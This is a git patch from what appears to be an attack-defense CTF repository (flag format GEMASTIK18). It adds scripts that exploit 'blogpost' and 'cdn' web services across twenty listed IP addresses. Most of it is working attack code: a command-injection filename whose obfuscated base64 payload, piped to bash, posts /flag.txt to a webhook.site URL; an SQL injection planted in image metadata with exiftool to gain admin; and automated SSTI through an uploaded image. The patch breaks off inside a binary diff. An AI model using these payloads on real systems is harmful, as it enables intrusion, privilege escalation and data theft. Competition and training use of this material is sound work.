From 538526dab03634390d1ef0d66ffae75df7a419d6 Mon Sep 17 00:00:00 2001 From: Jonathan Date: Sun, 26 Oct 2025 15:09:49 +0700 Subject: [PATCH] added patch notes --- services/blogpost/chall/patching-notes.txt | 4 + services/blogpost/exploits/exp1.py | 5 +- services/blogpost/exploits/exp2.py | 5 +- services/blogpost/exploits/grup.py | 133 +++++++++++++++++++++ services/blogpost/exploits/sqli.png | Bin 1036560 -> 1036560 bytes services/cdn/chall/patching-notes.txt | 4 + services/cdn/exploit/exp1.py | 6 +- services/cdn/exploit/grup.py | 115 ++++++++++++++++++ services/cdn/exploit/ssti.png | Bin 1036495 -> 1036496 bytes services/cdn/exploit/ssti.png.bak | Bin 1036496 -> 1036495 bytes 10 files changed, 265 insertions(+), 7 deletions(-) create mode 100644 services/blogpost/chall/patching-notes.txt create mode 100644 services/blogpost/exploits/grup.py create mode 100644 services/cdn/chall/patching-notes.txt create mode 100644 services/cdn/exploit/grup.py diff --git a/services/blogpost/chall/patching-notes.txt b/services/blogpost/chall/patching-notes.txt new file mode 100644 index 0000000..a4f591a --- /dev/null +++ b/services/blogpost/chall/patching-notes.txt @@ -0,0 +1,4 @@ +### Patching Rule? +- dont remove flag.txt/changes its content +- ensure image metadata generation still available and ensure exiftool still used +- the generated metadata persist in the post must exist \ No newline at end of file diff --git a/services/blogpost/exploits/exp1.py b/services/blogpost/exploits/exp1.py index 3b9552a..488c6ff 100644 --- a/services/blogpost/exploits/exp1.py +++ b/services/blogpost/exploits/exp1.py @@ -4,7 +4,7 @@ from pathlib import Path import random import string -HOST = "http://localhost:4400" +HOST = "http://54.179.69.160:10000" REGISTER_URL = HOST + "/register" LOGIN_URL = HOST + "/login" CREATE_URL = HOST + "/create" @@ -19,7 +19,7 @@ def generate_random_string(length=8): USERNAME = generate_random_string() PASSWORD = generate_random_string() # choose payload variant: either use subshell $() or backticks `...` -filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hMmJlOTU2NS0zZGZhLTRjZmEtODAyYy01NDk4NTI5ZTViMGYnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg" +filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hNDM1ZDdhZS02ZDIzLTQwY2ItYTllNy00ZjgwMzk2YzYwNWMnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg" # choose which to use: filename_payload = filename_payload # or payload_backticks @@ -33,6 +33,7 @@ if r.status_code != 200: exit(1) else: print(f"Registered user: {USERNAME}") + print(f"Registered PASSWORD: {PASSWORD}") r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}) if r.status_code != 200: diff --git a/services/blogpost/exploits/exp2.py b/services/blogpost/exploits/exp2.py index af3b4ad..8389524 100644 --- a/services/blogpost/exploits/exp2.py +++ b/services/blogpost/exploits/exp2.py @@ -7,7 +7,7 @@ from pathlib import Path print("SQLi (VULN 2) Exploit") -HOST = "http://localhost:4400" +HOST = "http://54.179.69.160:10000" REGISTER_URL = HOST + "/register" LOGIN_URL = HOST + "/login" CREATE_URL = HOST + "/create" @@ -46,6 +46,7 @@ if r.status_code != 200: exit(1) else: print(f"Registered user: {USERNAME}") + print(f"Registered PASSWORD: {PASSWORD}") # 3) Login with the new user r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}) @@ -86,7 +87,7 @@ else: # 6) Visit the profile page and search for the flag r = s.get(PROFILE_URL) print("Profile page status:", r.status_code) -flag_pattern = r"GEMASTIK\{.*?\}" +flag_pattern = r"GEMASTIK18\{.*?\}" flag = re.search(flag_pattern, r.text) if flag: print("Flag found:", flag.group(0)) diff --git a/services/blogpost/exploits/grup.py b/services/blogpost/exploits/grup.py new file mode 100644 index 0000000..4827d4d --- /dev/null +++ b/services/blogpost/exploits/grup.py @@ -0,0 +1,133 @@ +#!/usr/bin/env python3 +import requests +import random +import string +import re +import subprocess +from pathlib import Path + +# List of server IPs to test +SERVERS = [ + "54.179.69.160", "47.128.239.219", "18.141.25.211", "13.250.48.226", + "52.221.249.62", "52.221.188.80", "13.213.42.191", "54.169.118.58", + "18.141.209.30", "54.169.155.68", "3.0.177.253", "13.250.47.208", + "47.129.37.150", "3.1.222.146", "13.229.198.100", "54.151.150.157", + "13.229.207.1", "18.136.107.63", "52.77.233.125", "18.141.184.213" +] +PORT = "10000" + +# Generate random username and password +def generate_random_string(length=8): + return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) + +# Command injection payload +CMD_PAYLOAD = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hNDM1ZDdhZS02ZDIzLTQwY2ItYTllNy00ZjgwMzk2YzYwNWMnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg" + +# SQLi payload +SQLI_PAYLOAD = "a'; UPDATE users SET role='admin' WHERE username='{}';--" + +# Local image files +CMD_IMAGE = "test.png" # For command injection +SQLI_IMAGE = "sqli.png" # For SQLi + +def exploit_server(host): + print(f"\nTesting server: {host}") + BASE_URL = f"http://{host}:{PORT}" + REGISTER_URL = BASE_URL + "/register" + LOGIN_URL = BASE_URL + "/login" + CREATE_URL = BASE_URL + "/create" + HOME_URL = BASE_URL + "/" + PROFILE_URL = BASE_URL + "/profile" + + # Generate credentials + USERNAME = generate_random_string() + PASSWORD = generate_random_string() + print(f"Generated credentials: Username={USERNAME}, Password={PASSWORD}") + + s = requests.Session() + + # Step 1: Register a new user + r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD}) + if r.status_code != 200: + print(f"Registration failed on {host}. Status: {r.status_code}") + return False + print(f"Registered user: {USERNAME}") + + # Step 2: Log in + r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}) + if r.status_code != 200: + print(f"Login failed on {host}. Status: {r.status_code}") + return False + print(f"Logged in. Cookies: {s.cookies.get_dict()}") + + # Step 3: Command injection via filename + cmd_img_path = Path(CMD_IMAGE) + if not cmd_img_path.exists(): + print(f"Command injection image {CMD_IMAGE} not found") + return False + + with open(cmd_img_path, "rb") as fh: + files = {"image": (CMD_PAYLOAD, fh, "image/jpeg")} + data = {"title": "Command Injection Payload", "content": "CTF attempt"} + r = s.post(CREATE_URL, data=data, files=files) + print(f"Command injection upload status on {host}: {r.status_code}") + print(f"Upload response: {r.text[:800]}") + + # Step 4: SQL injection via image metadata + sqli_img_path = Path(SQLI_IMAGE) + if not sqli_img_path.exists(): + print(f"SQLi image {SQLI_IMAGE} not found") + return False + + try: + subprocess.run([ + "exiftool", + "-overwrite_original", + f"-Comment={SQLI_PAYLOAD.format(USERNAME)}", + SQLI_IMAGE + ], check=True) + print(f"Modified {SQLI_IMAGE} with SQLi payload") + except subprocess.CalledProcessError as e: + print(f"Failed to modify {SQLI_IMAGE} with exiftool: {e}") + return False + + with open(sqli_img_path, "rb") as fh: + files = {"image": (SQLI_IMAGE, fh, "image/png")} + data = {"title": "SQLi Exploit", "content": "Testing SQLi payload"} + r = s.post(CREATE_URL, data=data, files=files) + print(f"SQLi upload status on {host}: {r.status_code}") + + # Step 5: Get home page to find newest post ID + r = s.get(HOME_URL) + print(f"Home page status on {host}: {r.status_code}") + post_ids = re.findall(r'/post/(\d+)', r.text) + if post_ids: + max_id = max(map(int, post_ids)) + print(f"Newest post ID: {max_id}") + else: + print(f"No post IDs found on {host}") + return False + + # Step 6: Check profile for flag + r = s.get(PROFILE_URL) + print(f"Profile page status on {host}: {r.status_code}") + flag_pattern = r"GEMASTIK18\{.*?\}" + flag = re.search(flag_pattern, r.text) + if flag: + print(f"Flag found on {host}: {flag.group(0)}") + return True + else: + print(f"Flag not found on {host}") + return False + +def main(): + print("Starting CTF Exploit") + for host in SERVERS: + success = exploit_server(host) + if success: + print(f"Exploit succeeded on {host}") + else: + print(f"Exploit failed on {host}") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/services/blogpost/exploits/sqli.png b/services/blogpost/exploits/sqli.png index 26e0a924b006f1879c692b4dd6d027b35ab95448..e98560c923a6f4e9260552f6e1a6db32cb1739b8 100644 GIT binary patch delta 91 zcmbQR$bP~i`wams0>#F~iFrj9DeBg`y8N;!ZOsWR?FlT5K+FWh%s>p{vjQ<25VHd@ a2M}`tF&7YX12GQ}^8zv7_5>FG4QBw;&KZvY delta 91 zcmbQR$bP~i`wams0=b5!S$W1e#_HC(x-ma>Gnx}v+7nn9ftU%1nSmI@X9Z$5AZ7<* b4j|?PVlE)&24Wr{<^^KD?FlUW8_oa#=u#Q# diff --git a/services/cdn/chall/patching-notes.txt b/services/cdn/chall/patching-notes.txt new file mode 100644 index 0000000..a4f591a --- /dev/null +++ b/services/cdn/chall/patching-notes.txt @@ -0,0 +1,4 @@ +### Patching Rule? +- dont remove flag.txt/changes its content +- ensure image metadata generation still available and ensure exiftool still used +- the generated metadata persist in the post must exist \ No newline at end of file diff --git a/services/cdn/exploit/exp1.py b/services/cdn/exploit/exp1.py index 74e5b28..28f71da 100644 --- a/services/cdn/exploit/exp1.py +++ b/services/cdn/exploit/exp1.py @@ -7,13 +7,13 @@ import requests print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts") -HOST = "http://localhost:4500" +HOST = "http://54.179.69.160:12000" REGISTER_URL = f"{HOST}/register" LOGIN_URL = f"{HOST}/login" UPLOAD_URL = f"{HOST}/upload" HOME_URL = f"{HOST}/" -TIMEOUT = float(os.environ.get("TIMEOUT", "1")) # detik +TIMEOUT = float(os.environ.get("TIMEOUT", "5")) # detik def rnd(n=8): alpha = string.ascii_lowercase + string.digits @@ -83,7 +83,7 @@ print(f"[+] Newest post: {post_url}") # 5) Trigger SSTI dan cari flag r = s.get(post_url, timeout=TIMEOUT) print(f"[i] Post -> {r.status_code}") -m = re.search(r"GEMASTIK\{[^}]*\}", r.text) +m = re.search(r"GEMASTIK18\{[^}]*\}", r.text) if m: print("[+] Flag:", m.group(0)) else: diff --git a/services/cdn/exploit/grup.py b/services/cdn/exploit/grup.py new file mode 100644 index 0000000..fdfa56d --- /dev/null +++ b/services/cdn/exploit/grup.py @@ -0,0 +1,115 @@ +import os +import re +import random +import string +from pathlib import Path +import requests + +print("SSTI (Vuln) Exploit — Testing Multiple Hosts") + +# List of IP addresses to test +HOSTS = [ + "54.179.69.160", "47.128.239.219", "18.141.25.211", "13.250.48.226", + "52.221.249.62", "52.221.188.80", "13.213.42.191", "54.169.118.58", + "18.141.209.30", "54.169.155.68", "3.0.177.253", "13.250.47.208", + "47.129.37.150", "3.1.222.146", "13.229.198.100", "54.151.150.157", + "13.229.207.1", "18.136.107.63", "52.77.233.125", "18.141.184.213" +] + +PORT = "12000" +TIMEOUT = float(os.environ.get("TIMEOUT", "5")) # seconds + +def rnd(n=8): + alpha = string.ascii_lowercase + string.digits + return ''.join(random.choices(alpha, k=n)) + +def ok_or_redirect(resp): + return 200 <= resp.status_code < 400 + +def test_host(host): + print(f"\n[+] Testing host: {host}") + HOST = f"http://{host}:{PORT}" + REGISTER_URL = f"{HOST}/register" + LOGIN_URL = f"{HOST}/login" + UPLOAD_URL = f"{HOST}/upload" + HOME_URL = f"{HOST}/" + + USERNAME = rnd() + PASSWORD = rnd() + LOCAL_IMAGE = os.environ.get("IMG", "ssti.png") # PNG with Jinja payload in metadata + + s = requests.Session() + s.headers.update({"User-Agent": "ssti-exp/1.0"}) + + try: + # 1) Register + r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD}, + allow_redirects=True, timeout=TIMEOUT) + print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}") + if not ok_or_redirect(r): + print("[x] Registration failed") + return False + print(f"[+] Registered: {USERNAME}:{PASSWORD}") + + # 2) Login + r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}, + allow_redirects=True, timeout=TIMEOUT) + print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}") + if not ok_or_redirect(r): + print("[x] Login failed") + return False + print("[+] Logged in") + + # 3) Upload image + img_path = Path(LOCAL_IMAGE) + if not img_path.exists(): + print(f"[x] Local image not found: {LOCAL_IMAGE}") + return False + + with img_path.open("rb") as fh: + files = {"image": (img_path.name, fh, "image/png")} + data = {"title": "SSTI Exploit"} + r = s.post(UPLOAD_URL, data=data, files=files, + allow_redirects=True, timeout=TIMEOUT) + print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}") + if not ok_or_redirect(r): + print("[x] Upload failed") + return False + print("[+] Upload complete") + + # 4) Get latest post ID + r = s.get(HOME_URL, timeout=TIMEOUT) + print(f"[i] Home -> {r.status_code}") + if r.status_code != 200: + print("[x] Failed to load home") + return False + + post_ids = re.findall(r'/post/(\d+)', r.text) + if not post_ids: + print("[-] No posts found on home.") + return False + + pid = max(map(int, post_ids)) + post_url = f"{HOST}/post/{pid}" + print(f"[+] Newest post: {post_url}") + + # 5) Trigger SSTI and find flag + r = s.get(post_url, timeout=TIMEOUT) + print(f"[i] Post -> {r.status_code}") + m = re.search(r"GEMASTIK18\{[^}]*\}", r.text) + if m: + print(f"[+] Flag found on {host}: {m.group(0)}") + return True + else: + print("[-] Flag not found in response.") + print(r.text[:1200]) + return False + + except requests.exceptions.RequestException as e: + print(f"[x] Error testing {host}: {e}") + return False + +# Test all hosts +for i, host in enumerate(HOSTS, 1): + print(f"\n=== Testing Group {i}: {host} ===") + test_host(host) \ No newline at end of file diff --git a/services/cdn/exploit/ssti.png b/services/cdn/exploit/ssti.png index 13277a3a0c3749ed3b8b0653d6d7789476861b2b..7431e71f6e896300c6fdaa38d4bc058aa09530cf 100644 GIT binary patch delta 76 zcmX@V(Eh?g`whv=jQY*V%